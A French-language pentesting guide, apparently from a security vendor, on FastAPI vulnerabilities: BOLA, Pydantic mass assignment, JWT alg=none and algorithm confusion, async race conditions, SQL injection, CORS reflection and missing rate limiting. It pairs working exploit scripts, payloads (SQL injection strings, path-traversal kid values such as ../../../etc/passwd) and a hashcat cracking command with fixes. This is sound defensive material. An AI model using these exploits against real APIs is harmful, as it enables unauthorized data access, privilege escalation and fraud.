Pentesting des applications FastAPI en 2026
FastAPI vous offre le parsing automatique des entrées, la documentation OpenAPI et des bases OAuth2 — rien de tout cela ne prévient le BOLA, la confusion d'algorithme JWT, l'assignation de masse ou les conditions de course asynchrones. Le framework est sécurisé par défaut uniquement pour les préoccupations de couche transport. L'autorisation, la validation des tokens et la gestion d'état concurrente sûre relèvent entièrement de votre responsabilité.
Modèle de sécurité de FastAPI — Ce que le framework fournit et ce qu'il ne fournit pas
FastAPI (0.115+) gère la sérialisation, la désérialisation et la génération de schémas OpenAPI via Pydantic v2. Le système d'injection de dépendances (Depends()) offre un chemin propre pour brancher l'authentification. Ce sont de véritables avantages par rapport aux frameworks WSGI nus.
Le malentendu critique est ce que FastAPI ne fournit pas :
- Pas de vérifications d'autorisation intégrées.
Depends(get_current_user)confirme l'identité. Il ne vérifie pas que l'utilisateur authentifié possède la ressource au paramètre de chemin. - Pas de validation JWT. FastAPI fournit
OAuth2PasswordBearercomme extracteur de token — une classe qui lit l'en-têteAuthorization. La vérification de signature, la restriction d'algorithme et la validation des claims doivent être implémentées par le développeur en utilisant une bibliothèque séparée. - Pas de rate limiting. FastAPI ne dispose d'aucun throttling intégré. Les endpoints non authentifiés sont entièrement ouverts aux abus volumétriques.
- Pas d'enforcement CORS par défaut. Le
CORSMiddlewaredoit être ajouté explicitement, et sa mauvaise configuration est aisée. - Pas de protection contre l'assignation de masse. Pydantic valide les types et la structure, mais passer
extra="allow"ou utiliser le mauvais schéma pour l'entrée rend tous les champs supplémentaires disponibles pour l'application.
La surface d'attaque d'une application FastAPI est principalement déterminée par les décisions du développeur, pas par les valeurs par défaut du framework. Ce guide parcourt les vecteurs les plus impactants avec du code d'exploit fonctionnel et des mitigations vérifiées.
BOLA dans FastAPI (CWE-639, OWASP API1:2023)
Le Broken Object Level Authorization est la catégorie de vulnérabilité API la plus exploitée en 2025–2026. Les paramètres de chemin FastAPI facilitent l'introduction du BOLA : chaque route qui accepte {resource_id} sans vérification de propriété est un candidat.
Le pattern vulnérable
from fastapi import FastAPI, Depends
from sqlalchemy.orm import Session
app = FastAPI()
@app.get("/users/{user_id}/profile")
def get_profile(user_id: int, db: Session = Depends(get_db)):
# Pas de vérification que le requêteur possède user_id
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profileAvec un token valide pour n'importe quel compte, un attaquant itère user_id de 1 à N et lit chaque profil. Les IDs entiers séquentiels rendent l'énumération triviale. Les UUID réduisent la découvrabilité mais ne remplacent pas les vérifications d'autorisation.
Séquence d'exploitation
# Étape 1 — s'authentifier en tant qu'utilisateur peu privilégié
TOKEN=$(curl -s -X POST https://api.target.com/token \
-d "username=attacker&password=password123" | jq -r .access_token)
# Étape 2 — itérer les IDs de ressources
for id in $(seq 1 500); do
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.target.com/users/$id/profile \
| grep -v '"detail":"Not found"' && echo " [HIT] user_id=$id"
doneTurbo Intruder (Burp Suite) parallélise cela à des centaines de requêtes par seconde.
Le correctif
from typing import Annotated
from fastapi import Depends, HTTPException, status
@app.get("/users/{user_id}/profile")
def get_profile(
user_id: int,
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
# Vérification de propriété : le principal doit posséder la ressource
if current_user.id != user_id and not current_user.is_admin:
raise HTTPException(status_code=403, detail="Forbidden")
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profilePour une couverture approfondie, consultez les fondamentaux IDOR / BOLA.
BOLA dans FastAPI vs Flask
| Aspect | FastAPI | Flask |
|---|---|---|
| Enforcement des types de paramètres de chemin | Automatique (Pydantic) | Manuel ou via le convertisseur int: |
| Câblage des dépendances d'auth | Depends() — explicite, composable | Décorateurs ou g.user — ad hoc |
| Exposition des IDs via OpenAPI | Auto-documenté via /openapi.json | Manuel si flask-restx/apispec utilisé |
| Découvrabilité du BOLA | Élevée — toutes les routes documentées | Faible — pas de schéma par défaut |
| Détection par scanner | Élevée — le schéma révèle les IDs énumérables | Moyenne — nécessite un crawl |
L'endpoint /openapi.json de FastAPI est un cadeau pour les attaquants : il répertorie chaque paramètre de chemin, son type et si l'authentification est requise. Auditez toujours votre schéma OpenAPI avant de mettre en production.
Assignation de masse Pydantic — extra="allow" et au-delà
L'assignation de masse se produit lorsqu'un serveur accepte des champs fournis par le client qui ne devraient pas être modifiables — typiquement role, is_admin, verified, credits ou balance. Pydantic v2 est strict par défaut, mais les développeurs assouplissent régulièrement cette contrainte.
La configuration vulnérable
from pydantic import BaseModel
class UserUpdate(BaseModel):
model_config = {"extra": "allow"} # Accepte n'importe quel champ envoyé par le client
name: str
email: str
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserUpdate, db: Session = Depends(get_db)):
user = db.query(User).filter(User.id == user_id).first()
# model_dump() inclut les champs supplémentaires injectés par le client
for key, value in payload.model_dump().items():
setattr(user, key, value)
db.commit()
return userExploit
curl -X PUT https://api.target.com/users/42 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Attacker", "email": "attacker@evil.com", "is_admin": true, "role": "admin"}'Si le modèle de base de données dispose des colonnes is_admin et role, elles seront définies.
Variante moins évidente — Mauvais schéma pour l'entrée
Même sans extra="allow", utiliser le modèle ORM ou le schéma de réponse comme schéma d'entrée expose les champs de privilèges :
# Dangereux : utilisation du modèle ORM complet comme entrée
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserSchema): # UserSchema inclut role, is_admin
...Le correctif
from typing import Annotated
from pydantic import BaseModel
class UserUpdateRequest(BaseModel):
model_config = {"extra": "forbid"} # Rejette les champs inconnus avec 422
name: str
email: str
# role, is_admin, verified ne sont PAS présents ici
class UserResponse(BaseModel):
id: int
name: str
email: str
role: str # Visible dans la réponse, PAS modifiable depuis l'entrée
@app.put("/users/{user_id}", response_model=UserResponse)
async def update_user(
user_id: int,
payload: UserUpdateRequest, # Schéma d'entrée avec liste d'autorisation
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
...Utilisez des schémas Pydantic distincts pour l'entrée, la sortie et la représentation interne. N'utilisez jamais un unique UserSchema pour ces trois contextes. Apprenez-en plus sur cette classe de vulnérabilité dans mass assignment.
Vulnérabilités JWT dans FastAPI
L'OAuth2PasswordBearer de FastAPI extrait un bearer token de l'en-tête Authorization et le passe à votre dépendance get_current_user. Tout ce qui suit — la validation — relève de votre code.
Cartographie des vulnérabilités
graph TD
A[Le client envoie un JWT] --> B[Vérification de l'algorithme]
B -->|alg=none accepté| C[Contournement de signature -- saut d'auth complet]
B -->|confusion RS256 vers HS256| D[Signature avec clé publique -- contournement auth]
B -->|HS256 secret faible| E[Brute force -- forge n'importe quel token]
B -->|Algorithme correct| F[Vérification des claims]
F -->|exp absent| G[Token n'expire jamais -- replay indéfini]
F -->|injection kid| H[Path traversal && SSRF via paramètre kid]
F -->|Claims valides| I[Requête authentifiée]CVE-2024-33663 — Confusion d'algorithme python-jose
python-jose jusqu'à la version 3.3.0 (CVE-2024-33663, CVSS 7.4 HIGH) échoue à appliquer une utilisation correcte des clés pour les clés ECDSA OpenSSH et ne valide pas adéquatement que l'algorithme dans l'en-tête JWT correspond au type de clé. Cela permet des attaques de confusion d'algorithme où un attaquant modifie le champ alg pour contourner la vérification de signature.
La documentation de FastAPI recommandait précédemment python-jose. Depuis 2024, la documentation officielle a été mise à jour pour recommander PyJWT.
CVE-2025-45768 — PyJWT v2.10.1 a été trouvé à accepter des tokens HS256 signés avec des secrets dangereusement courts sans appliquer une longueur de clé minimale (CVSS 7.0 HIGH, contesté). La bibliothèque délègue le choix de la robustesse de la clé à l'application.
L'attaque alg=none
import base64, json
# Décoder un vrai token pour obtenir un payload valide
header = base64.b64decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" + "==")
# Modifier : définir alg à none et élever le rôle
forged_header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b"=").decode()
forged_payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1", "role": "admin", "exp": 9999999999}).encode()
).rstrip(b"=").decode()
# La signature est vide pour alg=none
forged_token = f"{forged_header}.{forged_payload}."Vérification de token vulnérable
import jwt # PyJWT
# VULNÉRABLE : pas de restriction d'algorithme
def get_current_user(token: str = Depends(oauth2_scheme)):
payload = jwt.decode(token, SECRET_KEY) # Accepte none, HS256, RS256 -- tous
return payloadVérification de token sécurisée
import jwt
from jwt.exceptions import InvalidTokenError
SECRET_KEY = os.environ["JWT_SECRET"] # Ne jamais coder en dur
ALGORITHM = "HS256"
def get_current_user(token: str = Depends(oauth2_scheme)):
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # Liste d'autorisation explicite — ne jamais omettre
options={"require": ["exp", "sub", "iat"]}, # Appliquer les claims obligatoires
)
except InvalidTokenError as exc:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid token", # Générique — ne pas répercuter le message d'exception
headers={"WWW-Authenticate": "Bearer"},
)
return payloadPour une analyse approfondie des vecteurs d'attaque JWT incluant l'injection kid et la manipulation JKU, consultez JWT overview et JWT alg=none.
Robustesse du secret HS256 : Utilisez un secret aléatoire d'au minimum 32 caractères. Un secret faible comme secret, changeme ou un mot du dictionnaire peut être cracké avec hashcat mode 16500 en quelques secondes sur un GPU grand public :
hashcat -a 0 -m 16500 target.jwt /usr/share/wordlists/rockyou.txtConditions de course asynchrones — TOCTOU dans FastAPI
Les handlers async FastAPI s'exécutent sur un seul thread de boucle d'événements. Lorsqu'un await cède le contrôle, une autre coroutine peut s'exécuter et modifier l'état partagé. Cela crée une fenêtre TOCTOU (Time-of-Check to Time-of-Use) exploitable avec des requêtes concurrentes.
Pattern vulnérable — Double dépense
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# VÉRIFICATION : le bon est-il encore valide ?
voucher = await db.get(Voucher, code)
if voucher.used:
raise HTTPException(status_code=400, detail="Already used")
# <<< await ici cède le contrôle à la boucle d'événements >>>
# Une autre requête pour le même code peut passer la vérification ci-dessus
await asyncio.sleep(0) # Simule n'importe quelle opération I/O
# UTILISATION : marquer comme utilisé (fenêtre de course — deux requêtes peuvent arriver ici)
voucher.used = True
current_user.credits += voucher.amount
await db.commit()Exploitation avec des requêtes parallèles
import asyncio, httpx
async def exploit():
async with httpx.AsyncClient() as client:
# Envoyer 20 requêtes de rachat concurrentes pour le même bon
tasks = [
client.post(
"https://api.target.com/redeem-voucher",
json={"code": "PROMO50"},
headers={"Authorization": f"Bearer {TOKEN}"},
)
for _ in range(20)
]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r.status_code == 200]
print(f"Redeemed {len(successes)} times with a single-use code")
asyncio.run(exploit())Le correctif — Atomicité au niveau de la base de données
from sqlalchemy import update
from sqlalchemy.exc import NoResultFound
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# Compare-and-set atomique : ne réussit que si used=False en ce moment précis
result = await db.execute(
update(Voucher)
.where(Voucher.code == code, Voucher.used == False)
.values(used=True)
.returning(Voucher.amount)
)
row = result.fetchone()
if row is None:
raise HTTPException(status_code=400, detail="Voucher invalid or already used")
# Sûr : nous détenons le verrou exclusif via l'UPDATE atomique
current_user.credits += row.amount
await db.commit()Pour les tâches en arrière-plan, le risque est différent : BackgroundTasks s'exécute après l'envoi de la réponse, dans le même processus worker. Si le processus redémarre, la tâche est perdue sans retry ni visibilité. Ne placez jamais des ajustements de crédits, des envois d'e-mails ou des écritures de logs d'audit dans BackgroundTasks sans clé d'idempotence et file d'attente de secours. Consultez race conditions pour le contexte général.
Piège async supplémentaire : utiliser threading.Lock() dans un endpoint async def bloque toute la boucle d'événements — utilisez asyncio.Lock() à la place.
Injection SQLAlchemy dans FastAPI
L'ORM de SQLAlchemy est sûr contre les injections par défaut. La surface d'injection est text() avec une interpolation de chaîne — un pattern qui contourne toute paramétrisation.
Code vulnérable
from sqlalchemy import text
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
# VULNÉRABLE : f-string injecte l'entrée utilisateur directement dans SQL
query = text(f"SELECT * FROM users WHERE name LIKE '%{term}%'")
result = await db.execute(query)
return result.fetchall()Payload : term = %' UNION SELECT username, password, null FROM users --
Version sécurisée
from sqlalchemy import text, select
from sqlalchemy.orm import DeclarativeBase
# Option 1 — text() paramétré
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
query = text("SELECT id, name, email FROM users WHERE name LIKE :pattern")
result = await db.execute(query, {"pattern": f"%{term}%"})
return result.fetchall()
# Option 2 — requête ORM (préférée)
@app.get("/search-orm")
async def search_users_orm(term: str, db: AsyncSession = Depends(get_db)):
result = await db.execute(
select(User).where(User.name.ilike(f"%{term}%")) # ilike utilise une liaison paramétrée
)
return result.scalars().all()Les noms de colonnes et de tables dynamiques ne peuvent pas être paramétrés — ils doivent être validés contre une liste d'autorisation explicite :
ALLOWED_SORT_COLUMNS = {"name", "created_at", "email"}
@app.get("/users")
async def list_users(sort_by: str = "name", db: AsyncSession = Depends(get_db)):
if sort_by not in ALLOWED_SORT_COLUMNS:
raise HTTPException(status_code=400, detail="Invalid sort column")
# Sûr : le nom de colonne provient de la liste d'autorisation, pas de l'entrée brute
result = await db.execute(text(f"SELECT * FROM users ORDER BY {sort_by}"))
return result.fetchall()Apprenez-en plus sur les patterns d'injection dans SQL injection.
Mauvaise configuration CORS
Le CORSMiddleware de FastAPI n'est pas actif par défaut. Lorsque les développeurs l'ajoutent pour corriger une erreur CORS du navigateur pendant le développement, ils empruntent fréquemment le chemin de la moindre résistance :
from fastapi.middleware.cors import CORSMiddleware
# Configuration de développement dangereuse qui passe en production
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # N'importe quel origin
allow_credentials=True, # Cookies et en-têtes Authorization
allow_methods=["*"], # N'importe quelle méthode HTTP
allow_headers=["*"], # N'importe quel en-tête
)La spécification du navigateur interdit de combiner allow_origins=["*"] avec allow_credentials=True. Le middleware de FastAPI accepte silencieusement cette combinaison et supprime l'en-tête Access-Control-Allow-Credentials de la réponse. Le danger réside dans un pattern plus subtil : la réflexion de l'en-tête Origin :
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.requests import Request
class BadCORSMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
response = await call_next(request)
# VULNÉRABLE : tout origin devient de confiance
origin = request.headers.get("origin", "")
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return responseAvec ce pattern, une page malveillante sur https://attacker.com peut effectuer des requêtes avec credentials vers l'API cible et lire les réponses. Il s'agit d'une escalade CSRF classique — l'attaquant lit l'état en plus de déclencher des mutations. Consultez CSRF pour les détails d'exploitation complets.
Configuration sécurisée
ALLOWED_ORIGINS = [
"https://app.yourdomain.com",
"https://admin.yourdomain.com",
]
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS, # Liste d'autorisation explicite
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "DELETE"],
allow_headers=["Authorization", "Content-Type"],
max_age=600,
)Pour les environnements de staging et de prévisualisation, autorisez dynamiquement les sous-domaines de votre propre domaine — jamais null (qui correspond aux origins file:// et aux iframes en sandbox) et jamais une correspondance basée sur regex sans ancrage.
Sécurité de l'injection de dépendances — Patterns de contournement de Depends()
Le système Depends() de FastAPI est élégant et composable, ce qui crée un mode de défaillance spécifique : une authentification optionnelle qui devient effectivement nulle.
Le piège auto_error=False
from fastapi.security import OAuth2PasswordBearer
# Avec auto_error=False, les tokens manquants retournent None au lieu de 401
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/token", auto_error=False)
async def get_optional_user(token: str | None = Depends(oauth2_scheme)) -> User | None:
if token is None:
return None
return verify_token(token)
# VULNÉRABLE : le développeur a oublié de gérer le cas None
@app.get("/dashboard/stats")
async def get_stats(user: User | None = Depends(get_optional_user)):
# user peut être None ici — l'endpoint est non authentifié
return db.query(SensitiveStats).all()Le pattern de dépendance contournée
FastAPI évalue les dépendances de haut en bas. Un pattern courant où l'auth réside dans une sous-dépendance crée un risque de contournement silencieux :
async def get_current_user(token: str = Depends(oauth2_scheme)):
if not token:
return None # Oublié de lever une exception ici
return verify_and_return_user(token)
async def require_auth(user: User = Depends(get_current_user)):
# Cette vérification est correcte
if user is None:
raise HTTPException(status_code=401)
return user
# MAIS : si quelqu'un câble get_current_user directement au lieu de require_auth...
@app.delete("/admin/users/{user_id}")
async def delete_user(user_id: int, user = Depends(get_current_user)): # Bug : mauvaise dépendance
# user peut être None — suppression sans auth
db.query(User).filter(User.id == user_id).delete()Vérification en pentest : rejouez chaque endpoint sensible sans l'en-tête Authorization. Toute réponse 200 indique une chaîne de dépendances brisée.
Absence de rate limiting
FastAPI ne dispose d'aucun rate limiting intégré. Chaque endpoint est ouvert à l'énumération à pleine vitesse à moins d'en ajouter explicitement un. La lacune affecte :
- Les endpoints de connexion — credential stuffing
- La réinitialisation de mot de passe — énumération OTP/lien
- L'énumération de ressources — automatisation BOLA
- Les endpoints de recherche — collecte de données
SlowAPI — La solution standard (processus unique)
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
@app.post("/token")
@limiter.limit("5/minute") # Par IP, par minute
async def login(request: Request, form_data: OAuth2PasswordRequestForm = Depends()):
...Production — Rate limiting distribué avec Redis
from slowapi import Limiter
from slowapi.util import get_remote_address
# Le stockage Redis garantit que les limites sont partagées entre tous les processus workers et pods
limiter = Limiter(
key_func=get_remote_address,
storage_uri="redis://redis:6379/0",
)Dans Kubernetes avec 5 réplicas, une limite 5/minute par IP avec stockage en mémoire devient effectivement 25/minute. Le stockage Redis applique la limite globalement. Pour les APIs de production, préférez le rate limiting au niveau de la gateway (Traefik, Kong, Nginx) comme couche de défense en profondeur qui ne peut pas être contournée en attaquant directement un pod.
Méthodologie de pentest pour les applications FastAPI
Un engagement FastAPI structuré suit cette séquence, en correspondance avec l'OWASP API Top 10 2023 :
Phase 1 — Découverte
- Récupérez
/openapi.jsonet analysez toutes les routes, paramètres, schémas et définitions de sécurité. - Identifiez tous les paramètres de chemin, en particulier ceux qui ressemblent à des IDs de ressources (
{user_id},{order_id},{document_id}). - Vérifiez si
/docs(Swagger UI) et/redocsont exposés en production — ils ne devraient pas l'être. - Énumérez les endpoints fantômes en fuzzant les chemins courants absents du schéma OpenAPI.
Phase 2 — Tests d'authentification
- Testez chaque endpoint sans en-tête Authorization. Recherchez les réponses 200 sur des endpoints qui devraient nécessiter une authentification (chaînes
auto_error=Falsebrisées). - Extrayez l'algorithme JWT de l'en-tête du token. Tentez
alg=noneet la confusion d'algorithme (RS256 vers HS256). - Tentez le brute force HS256 avec des wordlists courantes (
hashcat -m 16500). - Vérifiez l'application de
exp: soumettez un token avecexpdéfini sur un timestamp passé. - Vérifiez la gestion de
kid: soumettez des tokens aveckiddéfini sur des payloads de path traversal (../../dev/null,../../../etc/passwd).
Phase 3 — Autorisation (BOLA / BFLA)
- Pour chaque paramètre de chemin, remplacez votre ID de ressource par des IDs appartenant à d'autres comptes de test. Confirmez que 403 est retourné — pas 200 ou 404 avec des données dans le corps.
- Testez l'élévation de privilèges verticale : soumettez des requêtes depuis un compte utilisateur standard vers des endpoints documentés ou découverts comme réservés aux administrateurs.
- Testez les scopes : si des scopes OAuth2 sont définis dans le schéma OpenAPI, vérifiez que les tokens sans le scope requis sont rejetés.
Phase 4 — Entrées et injections
- Soumettez des champs supplémentaires (
is_admin,role,verified,credits) à chaque endpoint POST et PUT. Vérifiez s'ils apparaissent dans les réponses GET suivantes. - Testez chaque paramètre de chaîne avec des payloads SQL injection :
' OR '1'='1,' UNION SELECT null --. - Testez chaque paramètre de recherche ou de filtre avec des payloads ReDoS :
aaaaaaaaaaaaaaaaaaaaaaabet plus long — surveillez les timeouts.
Phase 5 — Conditions de course
- Identifiez tout endpoint qui effectue une vérification avant une écriture : rachat de bon, utilisation de code promo, transfert de crédit, mise à niveau de compte.
- Utilisez l'attaque "race-single-packet" de Turbo Intruder ou des requêtes
asyncioparallèles pour cibler la fenêtre TOCTOU.
Phase 6 — Infrastructure
- Vérifiez le CORS : envoyez des requêtes cross-origin avec
Origin: https://attacker.comà tous les endpoints API. Vérifiez siAccess-Control-Allow-Origin: https://attacker.comest retourné. - Vérifiez le rate limiting : envoyez 100 requêtes rapides aux endpoints de connexion, de vérification OTP et de réinitialisation de mot de passe. Tout ce qui réussit au-delà de 10–20 sans un 429 manque de rate limiting.
- Vérifiez la version de python-multipart :
pip show python-multipart. Les versions antérieures à 0.0.7 sont vulnérables à CVE-2024-24762.
Comment BreachVex teste les applications FastAPI
Le pipeline automatisé de BreachVex détecte FastAPI via l'endpoint /openapi.json et l'empreinte de l'interface /docs. Une fois identifié, un ensemble de sondes spécifiques à FastAPI s'active :
Sonde BOLA : l'étape de cartographie des endpoints extrait tous les paramètres de chemin du schéma OpenAPI. L'étape de test BOLA itère les IDs de 1 à 200 (et les patterns UUID le cas échéant) sur chaque endpoint paramétré, en corrélant les réponses pour confirmer les fuites de données.
Manipulation JWT : l'étape de test d'authentification extrait le JWT d'une session authentifiée, décode l'en-tête et génère trois variantes forgées : alg=none, HS256 signé avec les 100 secrets faibles les plus courants, et un token expiré avec exp supprimé. Les trois sont rejouées contre chaque endpoint authentifié.
Assignation de masse : chaque endpoint POST et PUT reçoit une requête avec les champs documentés plus un ensemble de champs d'élévation de privilèges (role, is_admin, verified, admin, superuser, permissions, credits, balance). La réponse est comparée à un GET de référence pour la même ressource afin de détecter la persistance des champs.
Sonde ReDoS (CVE-2024-24762) : si l'application accepte des données de formulaire, un en-tête Content-Type forgé avec une entrée à backtracking catastrophique est envoyé. Un timeout de réponse dépassant 5 secondes est signalé comme une découverte confirmée avec la référence CVE.
Preuve d'exploitation : chaque découverte confirmée inclut une commande curl reproduisant la vulnérabilité depuis zéro — sans outillage requis, sans faux positifs.
Récapitulatif des CVE
| CVE | Composant | CVSS | Corrigé dans | Impact |
|---|---|---|---|---|
| CVE-2024-24762 | python-multipart < 0.0.7 | 7.5 HIGH | FastAPI 0.109.1 | ReDoS via en-tête Content-Type — DoS complet |
| CVE-2024-33663 | python-jose ≤ 3.3.0 | 7.4 HIGH | Migrer vers PyJWT | Confusion d'algorithme — contournement auth |
| CVE-2025-45768 | PyJWT 2.10.1 | 7.0 HIGH | Contesté — appliquer la longueur de clé | Secrets HS256 faibles non rejetés |
| CVE-2025-46814 | fastapi-guard < 2.0.0 | 7.5 HIGH | fastapi-guard 2.0.0 | Injection X-Forwarded-For — contournement IP |
| CVE-2022-29217 | PyJWT < 2.4.0 | 7.5 HIGH | PyJWT 2.4.0 | Confusion d'algorithme — RS256 vers HS256 |
Frequently Asked Questions
- Quelle est la vulnérabilité critique la plus courante dans les applications FastAPI ?
- Le BOLA (Broken Object Level Authorization, CWE-639) est le constat critique le plus fréquent. FastAPI n'applique pas de vérifications de propriété sur les paramètres de chemin — le développeur doit les ajouter explicitement. Un endpoint tel que GET /users/USER_ID qui retourne des données sans comparer le user_id au principal authentifié est vulnérable par défaut.
- FastAPI protège-t-il contre les attaques JWT alg=none nativement ?
- Non. FastAPI ne dispose d'aucune validation JWT intégrée. La protection dépend entièrement de la bibliothèque choisie. python-jose jusqu'à la version 3.3.0 est affecté par CVE-2024-33663 (confusion d'algorithme). La documentation FastAPI a été mise à jour pour recommander PyJWT à la place. Même avec PyJWT, vous devez passer algorithms=['HS256'] explicitement — omettre ce paramètre active l'algorithme none.
- Comment tester l'assignation de masse Pydantic dans FastAPI ?
- Envoyez une requête POST ou PUT avec des champs supplémentaires au-delà du schéma documenté : role, is_admin, credits, verified. Si le serveur les accepte et les persiste, le modèle utilise extra='allow' ou n'est pas utilisé comme schéma d'entrée faisant autorité. Combinez cela avec la vérification que le modèle de réponse diffère du modèle d'entrée.
- Qu'est-ce que CVE-2024-24762 et quelles versions de FastAPI sont affectées ?
- CVE-2024-24762 est une vulnérabilité ReDoS dans python-multipart (le parseur de données de formulaires utilisé par FastAPI et Starlette). Un en-tête Content-Type malveillant provoque un backtracking catastrophique dans le moteur regex, bloquant le serveur indéfiniment. CVSS 7.5 HIGH. Affecté : FastAPI antérieur à 0.109.1 et python-multipart antérieur à 0.0.7. Mettez à jour immédiatement.
- Le wildcard CORS `allow_origins=['*']` peut-il être combiné avec les credentials dans FastAPI ?
- Non — le navigateur exige qu'un origin wildcard ne peut pas être combiné avec des credentials (cookies, en-têtes Authorization). Cependant, le CORSMiddleware de FastAPI acceptera silencieusement cette mauvaise configuration et supprimera simplement l'en-tête credentials de la réponse. Le vrai risque est la réflexion d'origin : si vous implémentez votre propre logique CORS qui répercute l'en-tête Origin, tout domaine devient de confiance.
- Quel est le risque de condition de course TOCTOU dans les endpoints async FastAPI ?
- Les endpoints async FastAPI s'exécutent sur un seul thread de boucle d'événements avec de la multitâche coopérative. Lorsque vous effectuez une vérification dans un await et une action dans un second await, une autre coroutine peut modifier l'état partagé entre les deux. Exploitation classique : vérifier-solde puis débiter-solde avec des requêtes concurrentes, ou vérifier-code-promo puis utiliser-code-promo. La fenêtre est étroite mais exploitable de manière fiable avec Turbo Intruder ou des requêtes curl parallèles.
- Comment SQLAlchemy text() avec des f-strings conduit-il à une injection SQL ?
- La fonction text() de SQLAlchemy crée un fragment SQL littéral. Si vous interpolez l'entrée utilisateur avec une f-string — text(f'SELECT * FROM users WHERE name LIKE percent-TERM-percent') — l'entrée contourne entièrement la paramétrisation de SQLAlchemy et est exécutée comme SQL brut. Utilisez plutôt des paramètres de liaison nommés : text('SELECT * FROM users WHERE name LIKE :term') avec un dictionnaire faisant correspondre term à la valeur de recherche.
- Quel est le piège OAuth2PasswordBearer auto_error=False ?
- Quand OAuth2PasswordBearer est initialisé avec auto_error=False, les credentials manquants retournent None au lieu de lever une exception 401. Si le route handler en aval ne vérifie pas explicitement None, l'endpoint devient silencieusement non authentifié. Ce pattern est destiné à l'authentification optionnelle mais est régulièrement mal utilisé sur des endpoints qui devraient toujours exiger une authentification.
- SlowAPI est-il suffisant pour le rate limiting en production sur FastAPI ?
- SlowAPI fonctionne pour les déploiements mono-processus. Dans les déploiements multi-workers ou multi-instances (Gunicorn + plusieurs workers Uvicorn, Kubernetes avec N pods), chaque processus maintient son propre compteur en mémoire. La limite effective devient N × limite_configurée. Le stockage Redis résout ce problème : utilisez SlowAPI avec storage_uri pointant vers Redis, ou une solution au niveau de la gateway (Nginx, Traefik, Kong, Cloudflare).
- BreachVex teste-t-il les vulnérabilités spécifiques à FastAPI lors des scans automatisés ?
- Oui. Le pipeline de BreachVex inclut une identification de framework qui détecte FastAPI via /openapi.json et /docs. Une fois identifié, le scanner active des sondes spécifiques à FastAPI : énumération BOLA sur tous les paramètres de chemin, manipulation JWT (alg=none, brute force HS256, suppression de exp), fuzzing d'assignation de masse Pydantic, tests de réflexion CORS et vérifications de contournement d'injection de dépendances.